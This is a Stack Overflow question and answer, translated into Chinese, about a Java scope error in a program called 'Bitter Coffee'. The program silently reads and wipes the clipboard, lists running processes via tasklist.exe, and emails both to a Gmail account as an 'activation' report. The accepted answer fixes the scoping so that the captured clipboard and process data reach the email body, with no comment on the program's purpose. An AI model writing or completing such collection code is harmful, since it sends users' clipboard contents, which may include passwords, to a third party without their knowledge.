我正在编写我的第一个Java程序(希望在下个世纪掌握它),并且遇到了一些问题。当我尝试使用文本和先前创建的字符串的组合来创建字符串时,Eclipse表示无法解析变量。有人可以帮我吗?谢谢!

//Clipboard
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
//Taskmanager
import java.io.BufferedReader;
import java.io.InputStreamReader;
//Email-er
import java.util.Properties;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
/*
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com  All rights reserved
*/
public class Application {
     static Properties mailServerProperties;
     static Session getMailSession;
     static MimeMessage generateMailMessage;
     public static void main(String args[]) throws AddressException, MessagingException {
            generateAndSendEmail();
            System.out.println("\n\n ===> Your Java Program has just sent an Email successfully. Check your email..");
        }

        public static void generateAndSendEmail() throws AddressException, MessagingException {

            boolean allowEmails = false;
         Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

            try {
                if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                    String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                    String data = text;
                    System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                    text=""; //String is now empty
                    StringSelection ss = new StringSelection(text); //Clears Clipboard data
                    Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                    System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

                }
            }
            catch(Exception e)
            {

        }
            try {
                String line;
                Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
                BufferedReader input =
                        new BufferedReader(new InputStreamReader(p.getInputStream()));
                while ((line = input.readLine()) != null) {
                    System.out.println(line); //Data is parsed
                }
                input.close();

            } catch (Exception err) {
                err.printStackTrace();
            }

    if(allowEmails == true) {

    //Step1
            System.out.println("\n\n 1st ===> setup Mail Server Properties..");
            mailServerProperties = System.getProperties();
            mailServerProperties.put("mail.smtp.port", "587");
            mailServerProperties.put("mail.smtp.auth", "true");
            mailServerProperties.put("mail.smtp.starttls.enable", "true");
            System.out.println("Mail Server Properties have been setup successfully..");

    //Step2
            System.out.println("\n\n 2nd ===> get Mail Session..");
            getMailSession = Session.getDefaultInstance(mailServerProperties, null);
            generateMailMessage = new MimeMessage(getMailSession);
            generateMailMessage.addRecipient(Message.RecipientType.TO, new InternetAddress("javasmtpserver@gmail.com"));
            generateMailMessage.setSubject("Application 'Bitter Coffee' Has Been Activated");
            String emailBody = "Application 'Bitter Coffee' has been activated and has ran successfully" + "<br><br>The activators information is as follows: " + "<br>Clipboard Data: " + data + "<br>Active Tasks: " + input + "<br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved";
            generateMailMessage.setContent(emailBody, "text/html");
            System.out.println("Mail Session has been created successfully..");

    //Step3
            System.out.println("\n\n 3rd ===> Get Session and Send mail");
            Transport transport = getMailSession.getTransport("smtp");
            // Enter your correct Gmail UserID and Password
            transport.connect("smtp.gmail.com", "javasmtpserver", "serverpassword");
            transport.sendMessage(generateMailMessage, generateMailMessage.getAllRecipients());
            transport.close();
    }
        }

}


后记:这是我的第一个Stack Overflow帖子,所以如果我搞砸了,请纠正我。发布之前,我到处都在寻找问题的答案。而且我确信这是一个易于解决的问题,但是由于这是我在Java中的第一个项目,所以我很迷失。再次感谢大家,并祝您编程愉快!

后记:此代码是为我创建的一个小项目。不用担心,我不会将其用于任何邪恶的需求;)

编辑:愚蠢的我忘了给完整的错误:)
它们是:“输入不能解析为变量”
“数据无法解析为变量”

它们是“步骤2”的第六行
再次感谢!

最佳答案

在Java中,只能在定义变量的块中使用变量。

您在try块中声明变量datainput

这意味着您只能在该块内使用它们。

如果要在步骤2中使用datainput,则应在try块之前声明它们。



要解决此问题,请执行以下操作:

public class Application {

    public static main(String[] args) {

        String data = null;
        String commandOutput = "";
        BufferedReader input = null;

        try {
            // do stuff
            data = text;
            input = // initialize buffered reader
            String line = input.readLine();
            while (line != null) {
                commandOutput += line;
                line = input.readLine();
            }
        }
        catch (SomeSpecificException ex) {
            // please handle exceptions!
        }
        catch (IOException ioex) {
            // handle IO Exceptions here
        }
        finally {
            try {
                input.close();
            }
            catch (Exception ex) {
                ex.printStackTrace();
            }
        }
        .
        .
        .
        String emailBody = "blah blah " + data + " blah blah " + commandOutput;
    }
}

关于java - 变量无法解析,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/17669626/

10-12 00:19
查看更多